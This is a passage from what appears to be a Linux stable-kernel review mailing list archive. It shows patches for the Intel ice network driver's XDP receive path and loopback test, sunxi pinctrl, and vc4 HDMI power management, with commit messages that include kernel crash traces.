+ const struct libeth_xdp_buff *xdp_ext = (void *)ctx;
+ struct ice_rx_ring *rx_ring;
- *ts_ns = ice_ptp_get_rx_hwts(xdp_ext->eop_desc,
- xdp_ext->pkt_ctx);
+ rx_ring = libeth_xdp_buff_to_rq(xdp_ext, typeof(*rx_ring), xdp_rxq);
+
+ *ts_ns = ice_ptp_get_rx_hwts(xdp_ext->desc,
+ &rx_ring->pkt_ctx);
if (!*ts_ns)
return -ENODATA;
@@ -545,10 +559,10 @@ ice_xdp_rx_hash_type(const union ice_32b
static int ice_xdp_rx_hash(const struct xdp_md *ctx, u32 *hash,
enum xdp_rss_hash_type *rss_type)
{
- const struct ice_xdp_buff *xdp_ext = (void *)ctx;
+ const struct libeth_xdp_buff *xdp_ext = (void *)ctx;
- *hash = ice_get_rx_hash(xdp_ext->eop_desc);
- *rss_type = ice_xdp_rx_hash_type(xdp_ext->eop_desc);
+ *hash = ice_get_rx_hash(xdp_ext->desc);
+ *rss_type = ice_xdp_rx_hash_type(xdp_ext->desc);
if (!likely(*hash))
return -ENODATA;
@@ -567,13 +581,16 @@ static int ice_xdp_rx_hash(const struct
static int ice_xdp_rx_vlan_tag(const struct xdp_md *ctx, __be16 *vlan_proto,
u16 *vlan_tci)
{
- const struct ice_xdp_buff *xdp_ext = (void *)ctx;
+ const struct libeth_xdp_buff *xdp_ext = (void *)ctx;
+ struct ice_rx_ring *rx_ring;
+
+ rx_ring = libeth_xdp_buff_to_rq(xdp_ext, typeof(*rx_ring), xdp_rxq);
- *vlan_proto = xdp_ext->pkt_ctx->vlan_proto;
+ *vlan_proto = rx_ring->pkt_ctx.vlan_proto;
if (!*vlan_proto)
return -ENODATA;
- *vlan_tci = ice_get_vlan_tci(xdp_ext->eop_desc);
+ *vlan_tci = ice_get_vlan_tci(xdp_ext->desc);
if (!*vlan_tci)
return -ENODATA;
--- a/drivers/net/ethernet/intel/ice/ice_txrx_lib.h
+++ b/drivers/net/ethernet/intel/ice/ice_txrx_lib.h
@@ -135,13 +135,4 @@ ice_process_skb_fields(struct ice_rx_rin
void
ice_receive_skb(struct ice_rx_ring *rx_ring, struct sk_buff *skb, u16 vlan_tci);
-static inline void
-ice_xdp_meta_set_desc(struct xdp_buff *xdp,
- union ice_32b_rx_flex_desc *eop_desc)
-{
- struct ice_xdp_buff *xdp_ext = container_of(xdp, struct ice_xdp_buff,
- xdp_buff);
-
- xdp_ext->eop_desc = eop_desc;
-}
#endif /* !_ICE_TXRX_LIB_H_ */
--- a/drivers/net/ethernet/intel/ice/ice_xsk.c
+++ b/drivers/net/ethernet/intel/ice/ice_xsk.c
@@ -3,6 +3,7 @@
#include <linux/bpf_trace.h>
#include <linux/unroll.h>
+#include <net/libeth/xdp.h>
#include <net/xdp_sock_drv.h>
#include <net/xdp.h>
#include "ice.h"
@@ -169,50 +170,18 @@ ice_xsk_pool_enable(struct ice_vsi *vsi,
* If allocation was successful, substitute buffer with allocated one.
* Returns 0 on success, negative on failure
*/
-static int
+int
ice_realloc_rx_xdp_bufs(struct ice_rx_ring *rx_ring, bool pool_present)
{
- size_t elem_size = pool_present ? sizeof(*rx_ring->xdp_buf) :
- sizeof(*rx_ring->rx_buf);
- void *sw_ring = kcalloc(rx_ring->count, elem_size, GFP_KERNEL);
-
- if (!sw_ring)
- return -ENOMEM;
-
if (pool_present) {
- kfree(rx_ring->rx_buf);
- rx_ring->rx_buf = NULL;
- rx_ring->xdp_buf = sw_ring;
+ rx_ring->xdp_buf = kcalloc(rx_ring->count,
+ sizeof(*rx_ring->xdp_buf),
+ GFP_KERNEL);
+ if (!rx_ring->xdp_buf)
+ return -ENOMEM;
} else {
kfree(rx_ring->xdp_buf);
rx_ring->xdp_buf = NULL;
- rx_ring->rx_buf = sw_ring;
- }
-
- return 0;
-}
-
-/**
- * ice_realloc_zc_buf - reallocate XDP ZC queue pairs
- * @vsi: Current VSI
- * @zc: is zero copy set
- *
- * Reallocate buffer for rx_rings that might be used by XSK.
- * XDP requires more memory, than rx_buf provides.
- * Returns 0 on success, negative on failure
- */
-int ice_realloc_zc_buf(struct ice_vsi *vsi, bool zc)
-{
- struct ice_rx_ring *rx_ring;
- uint i;
-
- ice_for_each_rxq(vsi, i) {
- rx_ring = vsi->rx_rings[i];
- if (!rx_ring->xsk_pool)
- continue;
-
- if (ice_realloc_rx_xdp_bufs(rx_ring, zc))
- return -ENOMEM;
}
return 0;
@@ -228,6 +197,7 @@ int ice_realloc_zc_buf(struct ice_vsi *v
*/
int ice_xsk_pool_setup(struct ice_vsi *vsi, struct xsk_buff_pool *pool, u16 qid)
{
+ struct ice_rx_ring *rx_ring = vsi->rx_rings[qid];
bool if_running, pool_present = !!pool;
int ret = 0, pool_failure = 0;
@@ -241,8 +211,6 @@ int ice_xsk_pool_setup(struct ice_vsi *v
ice_is_xdp_ena_vsi(vsi);
if (if_running) {
- struct ice_rx_ring *rx_ring = vsi->rx_rings[qid];
-
ret = ice_qp_dis(vsi, qid);
if (ret) {
netdev_err(vsi->netdev, "ice_qp_dis error = %d\n", ret);
@@ -303,11 +271,6 @@ static u16 ice_fill_rx_descs(struct xsk_
rx_desc->read.pkt_addr = cpu_to_le64(dma);
rx_desc->wb.status_error0 = 0;
- /* Put private info that changes on a per-packet basis
- * into xdp_buff_xsk->cb.
- */
- ice_xdp_meta_set_desc(*xdp, rx_desc);
-
rx_desc++;
xdp++;
}
@@ -606,10 +569,10 @@ int ice_clean_rx_irq_zc(struct ice_rx_ri
struct xsk_buff_pool *xsk_pool,
int budget)
{
+ struct xdp_buff *first = (struct xdp_buff *)rx_ring->xsk;
unsigned int total_rx_bytes = 0, total_rx_packets = 0;
u32 ntc = rx_ring->next_to_clean;
u32 ntu = rx_ring->next_to_use;
- struct xdp_buff *first = NULL;
struct ice_tx_ring *xdp_ring;
unsigned int xdp_xmit = 0;
struct bpf_prog *xdp_prog;
@@ -623,9 +586,6 @@ int ice_clean_rx_irq_zc(struct ice_rx_ri
xdp_prog = READ_ONCE(rx_ring->xdp_prog);
xdp_ring = rx_ring->xdp_ring;
- if (ntc != rx_ring->first_desc)
- first = *ice_xdp_buf(rx_ring, rx_ring->first_desc);
-
while (likely(total_rx_packets < (unsigned int)budget)) {
union ice_32b_rx_flex_desc *rx_desc;
unsigned int size, xdp_res = 0;
@@ -661,15 +621,17 @@ int ice_clean_rx_irq_zc(struct ice_rx_ri
first = xdp;
} else if (likely(size) && !xsk_buff_add_frag(first, xdp)) {
xsk_buff_free(first);
- break;
+ first = NULL;
}
if (++ntc == cnt)
ntc = 0;
- if (ice_is_non_eop(rx_ring, rx_desc))
+ if (ice_is_non_eop(rx_ring, rx_desc) || unlikely(!first))
continue;
+ ((struct libeth_xdp_buff *)first)->desc = rx_desc;
+
xdp_res = ice_run_xdp_zc(rx_ring, first, xdp_prog, xdp_ring,
xsk_pool);
if (likely(xdp_res & (ICE_XDP_TX | ICE_XDP_REDIR))) {
@@ -677,7 +639,6 @@ int ice_clean_rx_irq_zc(struct ice_rx_ri
} else if (xdp_res == ICE_XDP_EXIT) {
failure = true;
first = NULL;
- rx_ring->first_desc = ntc;
break;
} else if (xdp_res == ICE_XDP_CONSUMED) {
xsk_buff_free(first);
@@ -689,7 +650,6 @@ int ice_clean_rx_irq_zc(struct ice_rx_ri
total_rx_packets++;
first = NULL;
- rx_ring->first_desc = ntc;
continue;
construct_skb:
@@ -697,12 +657,14 @@ construct_skb:
skb = xdp_build_skb_from_zc(first);
if (!skb) {
xsk_buff_free(first);
+ first = NULL;
+
rx_ring->ring_stats->rx_stats.alloc_buf_failed++;
- break;
+ continue;
}
first = NULL;
- rx_ring->first_desc = ntc;
+
total_rx_bytes += skb->len;
total_rx_packets++;
@@ -713,7 +675,9 @@ construct_skb:
}
rx_ring->next_to_clean = ntc;
- entries_to_alloc = ICE_RX_DESC_UNUSED(rx_ring);
+ rx_ring->xsk = (struct libeth_xdp_buff *)first;
+
+ entries_to_alloc = ICE_DESC_UNUSED(rx_ring);
if (entries_to_alloc > ICE_RING_QUARTER(rx_ring))
failure |= !ice_alloc_rx_bufs_zc(rx_ring, xsk_pool,
entries_to_alloc);
--- a/drivers/net/ethernet/intel/ice/ice_xsk.h
+++ b/drivers/net/ethernet/intel/ice/ice_xsk.h
@@ -22,7 +22,7 @@ bool ice_xsk_any_rx_ring_ena(struct ice_
void ice_xsk_clean_rx_ring(struct ice_rx_ring *rx_ring);
void ice_xsk_clean_xdp_ring(struct ice_tx_ring *xdp_ring);
bool ice_xmit_zc(struct ice_tx_ring *xdp_ring, struct xsk_buff_pool *xsk_pool);
-int ice_realloc_zc_buf(struct ice_vsi *vsi, bool zc);
+int ice_realloc_rx_xdp_bufs(struct ice_rx_ring *rx_ring, bool pool_present);
void ice_qvec_cfg_msix(struct ice_vsi *vsi, struct ice_q_vector *q_vector,
u16 qid);
void ice_qvec_toggle_napi(struct ice_vsi *vsi, struct ice_q_vector *q_vector,
@@ -77,8 +77,8 @@ static inline void ice_xsk_clean_rx_ring
static inline void ice_xsk_clean_xdp_ring(struct ice_tx_ring *xdp_ring) { }
static inline int
-ice_realloc_zc_buf(struct ice_vsi __always_unused *vsi,
- bool __always_unused zc)
+ice_realloc_rx_xdp_bufs(struct ice_rx_ring *rx_ring,
+ bool __always_unused pool_present)
{
return 0;
}
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 025/242] pinctrl: sunxi: dt: do not accumulate npins across probe attempts
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (23 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 7.2 024/242] pinctrl: qcom: ipq5018: replace gcc_plltest with pwm2 on gpio12 Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 7.2 026/242] drm/vc4: hdmi: Move packet RAM enable to PM runtime Greg Kroah-Hartman
` (216 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Pablo Mazzini, Andre Przywara,
Linus Walleij, Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Pablo Mazzini <pmazzini@gmail.com>
[ Upstream commit c5895eadf287116434b7b01d67b92e8146f7ff61 ]
init_pins_table() adds to npins in the driver's static descriptor, so
after a probe deferral the count doubles and the next probe fails with
"pin 0 already registered". Reset it first.
Signed-off-by: Pablo Mazzini <pmazzini@gmail.com>
Fixes: f5e2cd34b12f ("pinctrl: sunxi: allow reading mux values from DT")
Reviewed-by: Andre Przywara <andre.przywara@arm.com>
Signed-off-by: Linus Walleij <linusw@kernel.org>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/pinctrl/sunxi/pinctrl-sunxi-dt.c | 1 +
1 file changed, 1 insertion(+)
diff --git a/drivers/pinctrl/sunxi/pinctrl-sunxi-dt.c b/drivers/pinctrl/sunxi/pinctrl-sunxi-dt.c
index 50a16f3bd1316..8bcd566593ae8 100644
--- a/drivers/pinctrl/sunxi/pinctrl-sunxi-dt.c
+++ b/drivers/pinctrl/sunxi/pinctrl-sunxi-dt.c
@@ -84,6 +84,7 @@ static struct sunxi_desc_pin *init_pins_table(struct device *dev,
* Find the total number of pins.
* Also work out how much memory we need to store all the pin names.
*/
+ desc->npins = 0;
for (i = 0; i < SUNXI_PINCTRL_MAX_BANKS; i++) {
desc->npins += pins_per_bank[i];
if (pins_per_bank[i] < 10) {
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 191/193] ice: fix broken Rx on VFs
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (189 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 6.18 190/193] ice: switch to Page Pool Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 192/193] ice: fix crash in ethtool offline loopback test Greg Kroah-Hartman
` (12 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Jakub Slepecki, Tony Nguyen,
Alexander Lobakin, Aleksandr Loktionov, Jakub Kicinski
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Alexander Lobakin <aleksander.lobakin@intel.com>
commit 436fa8e7d1a119ec90f39e7c2ce0f3a146652899 upstream.
Since the tagged commit, ice stopped respecting Rx buffer length
passed from VFs.
At that point, the buffer length was hardcoded in ice, so VFs still
worked up to some point (until, for example, a VF wanted an MTU
larger than its PF).
The next commit 93f53db9f9dc ("ice: switch to Page Pool"), broke
Rx on VFs completely since ice started accounting per-queue buffer
lengths again, but now VF queues always had their length zeroed, as
ice was already ignoring what iavf was passing to it.
Restore the line that initializes the buffer length on VF queues
basing on the virtchnl messages.
Fixes: 3a4f419f7509 ("ice: drop page splitting and recycling")
Reported-by: Jakub Slepecki <jakub.slepecki@intel.com>
Reviewed-by: Tony Nguyen <anthony.l.nguyen@intel.com>
Signed-off-by: Alexander Lobakin <aleksander.lobakin@intel.com>
Reviewed-by: Aleksandr Loktionov <aleksandr.loktionov@intel.com>
Tested-by: Jakub Slepecki <jakub.slepecki@intel.com>
Link: https://patch.msgid.link/20251124170735.3077425-1-aleksander.lobakin@intel.com
Signed-off-by: Jakub Kicinski <kuba@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
drivers/net/ethernet/intel/ice/virt/queues.c | 3 +++
1 file changed, 3 insertions(+)
--- a/drivers/net/ethernet/intel/ice/virt/queues.c
+++ b/drivers/net/ethernet/intel/ice/virt/queues.c
@@ -863,6 +863,9 @@ int ice_vc_cfg_qs_msg(struct ice_vf *vf,
(qpi->rxq.databuffer_size > ((16 * 1024) - 128) ||
qpi->rxq.databuffer_size < 128))
goto error_param;
+
+ ring->rx_buf_len = qpi->rxq.databuffer_size;
+
if (qpi->rxq.max_pkt_size > max_frame_size ||
qpi->rxq.max_pkt_size < 64)
goto error_param;
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 026/242] drm/vc4: hdmi: Move packet RAM enable to PM runtime
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (24 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 7.2 025/242] pinctrl: sunxi: dt: do not accumulate npins across probe attempts Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 7.2 027/242] gpio: nct6694: Mark the GPIO controller as sleeping Greg Kroah-Hartman
` (215 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Dave Stevenson, Maxime Ripard,
Maíra Canal, Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Dave Stevenson <dave.stevenson@raspberrypi.com>
[ Upstream commit 3f57b34485dc01e5a2db60a89a6ae5439a897e53 ]
Audio can be triggered by the HPD handler and start up before video has
been restored, calling vc4_hdmi_write_infoframe() for the audio infoframe.
vc4_hdmi_write_infoframe() needs Packet RAM to be on to store the
infoframe, however, if the video hasn't been enabled,
vc4_hdmi_encoder_post_crtc_enable() hasn't been called and therefore, the
Packet RAM can be disabled by the time vc4_hdmi_write_infoframe() executes,
causing the following splat:
[ 201.570266] ------------[ cut here ]------------
[ 201.570293] Packet RAM has to be on to store the packet.
[ 201.570367] WARNING: drivers/gpu/drm/vc4/vc4_hdmi.c:683 at vc4_hdmi_write_infoframe+0x404/0x494 [vc4], CPU#0: wireplumber/1606
[...]
[ 201.658650] Hardware name: Raspberry Pi 4 Model B Rev 1.5 (DT)
[...]
[ 201.758499] Call trace:
[ 201.760967] vc4_hdmi_write_infoframe+0x404/0x494 [vc4] (P)
[ 201.766607] vc4_hdmi_write_audio_infoframe+0x1c/0x28 [vc4]
[ 201.772247] write_infoframe+0xbc/0x140 [drm_display_helper]
[ 201.777975] drm_atomic_helper_connector_hdmi_update_audio_infoframe+0x80/0xdc [drm_display_helper]
[ 201.787140] vc4_hdmi_audio_prepare+0x4ac/0x570 [vc4]
[ 201.792252] drm_connector_hdmi_audio_prepare+0x24/0x30 [drm_display_helper]
[ 201.799390] hdmi_codec_prepare+0x100/0x160 [snd_soc_hdmi_codec]
[ 201.805471] snd_soc_pcm_dai_prepare+0xd4/0x100 [snd_soc_core]
[ 201.811375] __soc_pcm_prepare+0x60/0x12c [snd_soc_core]
[ 201.816752] soc_pcm_prepare+0x34/0x58 [snd_soc_core]
[ 201.821863] snd_pcm_do_prepare+0x70/0x8c [snd_pcm]
[ 201.826798] snd_pcm_action_nonatomic+0xe4/0x174 [snd_pcm]
[ 201.832350] snd_pcm_prepare+0xc8/0xd8 [snd_pcm]
[ 201.837021] snd_pcm_common_ioctl+0x458/0x614 [snd_pcm]
[ 201.842308] snd_pcm_ioctl+0x30/0x48 [snd_pcm]
[ 201.846802] __arm64_sys_ioctl+0x88/0xd8
[ 201.850769] invoke_syscall+0x48/0xf4
[ 201.854470] el0_svc_common+0x80/0xd8
[ 201.858171] do_el0_svc+0x1c/0x28
[ 201.861520] el0_svc+0x3c/0xb0
[ 201.864605] el0t_64_sync_handler+0x68/0xdc
[ 201.868834] el0t_64_sync+0x198/0x19c
[ 201.872536] ---[ end trace 0000000000000000 ]---
Considering that Packet RAM enable is essentially a power management
configuration, move its enabling/disabling to the Runtime PM hooks.
Note that post_crtc_disable() still stops all infoframes, but keeps Packet
RAM enabled, leaving it to be disabled by runtime suspend.
Link: https://github.com/raspberrypi/linux/issues/7069
Fixes: b47a72f30768 ("drm/vc4: hdmi: Switch to HDMI connector")
Signed-off-by: Dave Stevenson <dave.stevenson@raspberrypi.com>
Acked-by: Maxime Ripard <mripard@kernel.org>
Link: https://patch.msgid.link/20261002-vc4-hdmi-packet-ram-fix-v1-1-3d73148096c9@igalia.com
Reviewed-by: Maíra Canal <mcanal@igalia.com>
Signed-off-by: Maíra Canal <mcanal@igalia.com>
Signed-off-by: Sasha Levin <sashal@kernel.org>
---
drivers/gpu/drm/vc4/vc4_hdmi.c | 20 +++++++++++---------
1 file changed, 11 insertions(+), 9 deletions(-)
diff --git a/drivers/gpu/drm/vc4/vc4_hdmi.c b/drivers/gpu/drm/vc4/vc4_hdmi.c
index a161d3b00a255..0692087dda728 100644
--- a/drivers/gpu/drm/vc4/vc4_hdmi.c
+++ b/drivers/gpu/drm/vc4/vc4_hdmi.c
@@ -894,7 +894,7 @@ static void vc4_hdmi_encoder_post_crtc_disable(struct drm_encoder *encoder,
spin_lock_irqsave(&vc4_hdmi->hw_lock, flags);
- HDMI_WRITE(HDMI_RAM_PACKET_CONFIG, 0);
+ HDMI_WRITE(HDMI_RAM_PACKET_CONFIG, VC4_HDMI_RAM_PACKET_ENABLE);
HDMI_WRITE(HDMI_VID_CTL, HDMI_READ(HDMI_VID_CTL) | VC4_HD_VID_CTL_CLRRGB);
@@ -1663,9 +1663,6 @@ static void vc4_hdmi_encoder_post_crtc_enable(struct drm_encoder *encoder,
WARN_ONCE(ret, "Timeout waiting for "
"VC4_HDMI_SCHEDULER_CONTROL_HDMI_ACTIVE\n");
} else {
- HDMI_WRITE(HDMI_RAM_PACKET_CONFIG,
- HDMI_READ(HDMI_RAM_PACKET_CONFIG) &
- ~(VC4_HDMI_RAM_PACKET_ENABLE));
HDMI_WRITE(HDMI_SCHEDULER_CONTROL,
HDMI_READ(HDMI_SCHEDULER_CONTROL) &
~VC4_HDMI_SCHEDULER_CONTROL_MODE_HDMI);
@@ -1684,9 +1681,6 @@ static void vc4_hdmi_encoder_post_crtc_enable(struct drm_encoder *encoder,
WARN_ON(!(HDMI_READ(HDMI_SCHEDULER_CONTROL) &
VC4_HDMI_SCHEDULER_CONTROL_HDMI_ACTIVE));
- HDMI_WRITE(HDMI_RAM_PACKET_CONFIG,
- VC4_HDMI_RAM_PACKET_ENABLE);
-
spin_unlock_irqrestore(&vc4_hdmi->hw_lock, flags);
vc4_hdmi->packet_ram_enabled = true;
@@ -3143,6 +3137,11 @@ static int vc5_hdmi_init_resources(struct drm_device *drm,
static int vc4_hdmi_runtime_suspend(struct device *dev)
{
struct vc4_hdmi *vc4_hdmi = dev_get_drvdata(dev);
+ unsigned long flags;
+
+ spin_lock_irqsave(&vc4_hdmi->hw_lock, flags);
+ HDMI_WRITE(HDMI_RAM_PACKET_CONFIG, 0);
+ spin_unlock_irqrestore(&vc4_hdmi->hw_lock, flags);
clk_disable_unprepare(vc4_hdmi->audio_clock);
clk_disable_unprepare(vc4_hdmi->hsm_clock);
@@ -3153,9 +3152,8 @@ static int vc4_hdmi_runtime_suspend(struct device *dev)
static int vc4_hdmi_runtime_resume(struct device *dev)
{
struct vc4_hdmi *vc4_hdmi = dev_get_drvdata(dev);
- unsigned long __maybe_unused flags;
+ unsigned long rate, flags;
u32 __maybe_unused value;
- unsigned long rate;
int ret;
ret = clk_prepare_enable(vc4_hdmi->hsm_clock);
@@ -3201,6 +3199,10 @@ static int vc4_hdmi_runtime_resume(struct device *dev)
}
#endif
+ spin_lock_irqsave(&vc4_hdmi->hw_lock, flags);
+ HDMI_WRITE(HDMI_RAM_PACKET_CONFIG, VC4_HDMI_RAM_PACKET_ENABLE);
+ spin_unlock_irqrestore(&vc4_hdmi->hw_lock, flags);
+
return 0;
err_disable_clk:
--
2.53.0
^ permalink raw reply related [flat|nested] 455+ messages in thread
* [PATCH 6.18 192/193] ice: fix crash in ethtool offline loopback test
2026-10-23 16:34 [PATCH 6.18 000/193] 6.18.59-rc1 review Greg Kroah-Hartman
` (190 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 6.18 191/193] ice: fix broken Rx on VFs Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 6.18 193/193] smb: client: drain outstanding I/O before truncating on O_TRUNC open Greg Kroah-Hartman
` (11 subsequent siblings)
203 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Michal Schmidt, Aleksandr Loktionov,
Tony Nguyen, Rinitha S
6.18-stable review patch. If anyone has any objections, please let me know.
------------------
From: Michal Schmidt <mschmidt@redhat.com>
commit a9c354e656597aededa027d63d2ff0973f6b033f upstream.
Since the conversion of ice to page pool, the ethtool loopback test
crashes:
BUG: kernel NULL pointer dereference, address: 000000000000000c
#PF: supervisor write access in kernel mode
#PF: error_code(0x0002) - not-present page
PGD 1100f1067 P4D 0
Oops: Oops: 0002 [#1] SMP NOPTI
CPU: 23 UID: 0 PID: 5904 Comm: ethtool Kdump: loaded Not tainted 6.19.0-0.rc7.260128g1f97d9dcf5364.49.eln154.x86_64 #1 PREEMPT(lazy)
Hardware name: [...]
RIP: 0010:ice_alloc_rx_bufs+0x1cd/0x310 [ice]
Code: 83 6c 24 30 01 66 41 89 47 08 0f 84 c0 00 00 00 41 0f b7 dc 48 8b 44 24 18 48 c1 e3 04 41 bb 00 10 00 00 48 8d 2c 18 8b 04 24 <89> 45 0c 41 8b 4d 00 49 d3 e3 44 3b 5c 24 24 0f 83 ac fe ff ff 44
RSP: 0018:ff7894738aa1f768 EFLAGS: 00010246
RAX: 0000000000000000 RBX: 0000000000000000 RCX: 0000000000000000
RDX: 0000000000000000 RSI: 0000000000000700 RDI: 0000000000000000
RBP: 0000000000000000 R08: ff16dcae79880200 R09: 0000000000000019
R10: 0000000000000001 R11: 0000000000001000 R12: 0000000000000000
R13: 0000000000000000 R14: 0000000000000000 R15: ff16dcae6c670000
FS: 00007fcf428850c0(0000) GS:ff16dcb149710000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 000000000000000c CR3: 0000000121227005 CR4: 0000000000773ef0
PKRU: 55555554
Call Trace:
<TASK>
ice_vsi_cfg_rxq+0xca/0x460 [ice]
ice_vsi_cfg_rxqs+0x54/0x70 [ice]
ice_loopback_test+0xa9/0x520 [ice]
ice_self_test+0x1b9/0x280 [ice]
ethtool_self_test+0xe5/0x200
__dev_ethtool+0x1106/0x1a90
dev_ethtool+0xbe/0x1a0
dev_ioctl+0x258/0x4c0
sock_do_ioctl+0xe3/0x130
__x64_sys_ioctl+0xb9/0x100
do_syscall_64+0x7c/0x700
entry_SYSCALL_64_after_hwframe+0x76/0x7e
[...]
It crashes because we have not initialized libeth for the rx ring.
Fix it by treating ICE_VSI_LB VSIs slightly more like normal PF VSIs and
letting them have a q_vector. It's just a dummy, because the loopback
test does not use interrupts, but it contains a napi struct that can be
passed to libeth_rx_fq_create() called from ice_vsi_cfg_rxq() ->
ice_rxq_pp_create().
Fixes: 93f53db9f9dc ("ice: switch to Page Pool")
Signed-off-by: Michal Schmidt <mschmidt@redhat.com>
Reviewed-by: Aleksandr Loktionov <aleksandr.loktionov@intel.com>
Tested-by: Rinitha S <sx.rinitha@intel.com> (A Contingent worker at Intel)
Signed-off-by: Tony Nguyen <anthony.l.nguyen@intel.com>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
drivers/net/ethernet/intel/ice/ice_base.c | 5 ++++-
drivers/net/ethernet/intel/ice/ice_ethtool.c | 4 ++++
drivers/net/ethernet/intel/ice/ice_lib.c | 15 ++++++++++-----
3 files changed, 18 insertions(+), 6 deletions(-)
--- a/drivers/net/ethernet/intel/ice/ice_base.c
+++ b/drivers/net/ethernet/intel/ice/ice_base.c
@@ -124,6 +124,8 @@ static int ice_vsi_alloc_q_vector(struct
if (vsi->type == ICE_VSI_VF) {
ice_calc_vf_reg_idx(vsi->vf, q_vector);
goto out;
+ } else if (vsi->type == ICE_VSI_LB) {
+ goto skip_alloc;
} else if (vsi->type == ICE_VSI_CTRL && vsi->vf) {
struct ice_vsi *ctrl_vsi = ice_get_vf_ctrl_vsi(pf, vsi);
@@ -600,7 +602,8 @@ static int ice_vsi_cfg_rxq(struct ice_rx
u32 rx_buf_len;
int err;
- if (ring->vsi->type == ICE_VSI_PF || ring->vsi->type == ICE_VSI_SF) {
+ if (ring->vsi->type == ICE_VSI_PF || ring->vsi->type == ICE_VSI_SF ||
+ ring->vsi->type == ICE_VSI_LB) {
if (!xdp_rxq_info_is_reg(&ring->xdp_rxq)) {
err = __xdp_rxq_info_reg(&ring->xdp_rxq, ring->netdev,
ring->q_index,
--- a/drivers/net/ethernet/intel/ice/ice_ethtool.c
+++ b/drivers/net/ethernet/intel/ice/ice_ethtool.c
@@ -1281,6 +1281,10 @@ static u64 ice_loopback_test(struct net_
test_vsi->netdev = netdev;
tx_ring = test_vsi->tx_rings[0];
rx_ring = test_vsi->rx_rings[0];
+ /* Dummy q_vector and napi. Fill the minimum required for
+ * ice_rxq_pp_create().
+ */
+ rx_ring->q_vector->napi.dev = netdev;
if (ice_lbtest_prepare_rings(test_vsi)) {
ret = 2;
--- a/drivers/net/ethernet/intel/ice/ice_lib.c
+++ b/drivers/net/ethernet/intel/ice/ice_lib.c
@@ -107,10 +107,6 @@ static int ice_vsi_alloc_arrays(struct i
if (!vsi->rxq_map)
goto err_rxq_map;
- /* There is no need to allocate q_vectors for a loopback VSI. */
- if (vsi->type == ICE_VSI_LB)
- return 0;
-
/* allocate memory for q_vector pointers */
vsi->q_vectors = devm_kcalloc(dev, vsi->num_q_vectors,
sizeof(*vsi->q_vectors), GFP_KERNEL);
@@ -239,6 +235,8 @@ static void ice_vsi_set_num_qs(struct ic
case ICE_VSI_LB:
vsi->alloc_txq = 1;
vsi->alloc_rxq = 1;
+ /* A dummy q_vector, no actual IRQ. */
+ vsi->num_q_vectors = 1;
break;
default:
dev_warn(ice_pf_to_dev(pf), "Unknown VSI type %d\n", vsi_type);
@@ -2424,14 +2422,21 @@ static int ice_vsi_cfg_def(struct ice_vs
}
break;
case ICE_VSI_LB:
- ret = ice_vsi_alloc_rings(vsi);
+ ret = ice_vsi_alloc_q_vectors(vsi);
if (ret)
goto unroll_vsi_init;
+ ret = ice_vsi_alloc_rings(vsi);
+ if (ret)
+ goto unroll_alloc_q_vector;
+
ret = ice_vsi_alloc_ring_stats(vsi);
if (ret)
goto unroll_vector_base;
+ /* Simply map the dummy q_vector to the only rx_ring */
+ vsi->rx_rings[0]->q_vector = vsi->q_vectors[0];
+
break;
default:
/* clean up the resources and exit */
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 027/242] gpio: nct6694: Mark the GPIO controller as sleeping
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (25 preceding siblings ...)
2026-10-23 16:37 ` [PATCH 7.2 026/242] drm/vc4: hdmi: Move packet RAM enable to PM runtime Greg Kroah-Hartman
@ 2026-10-23 16:37 ` Greg Kroah-Hartman
2026-10-23 16:37 ` [PATCH 7.2 028/242] vsock: treat TCP_CLOSING as once-established Greg Kroah-Hartman
` (214 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:37 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Ming Yu, Bartosz Golaszewski,
Sasha Levin
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Ming Yu <a0282524688@gmail.com>
[ Upstream commit fcbc48dc650d2f58bfe19c4486830de0e9cad62e ]
The GPIO callbacks take a mutex and issue USB transfers, so this GPIO
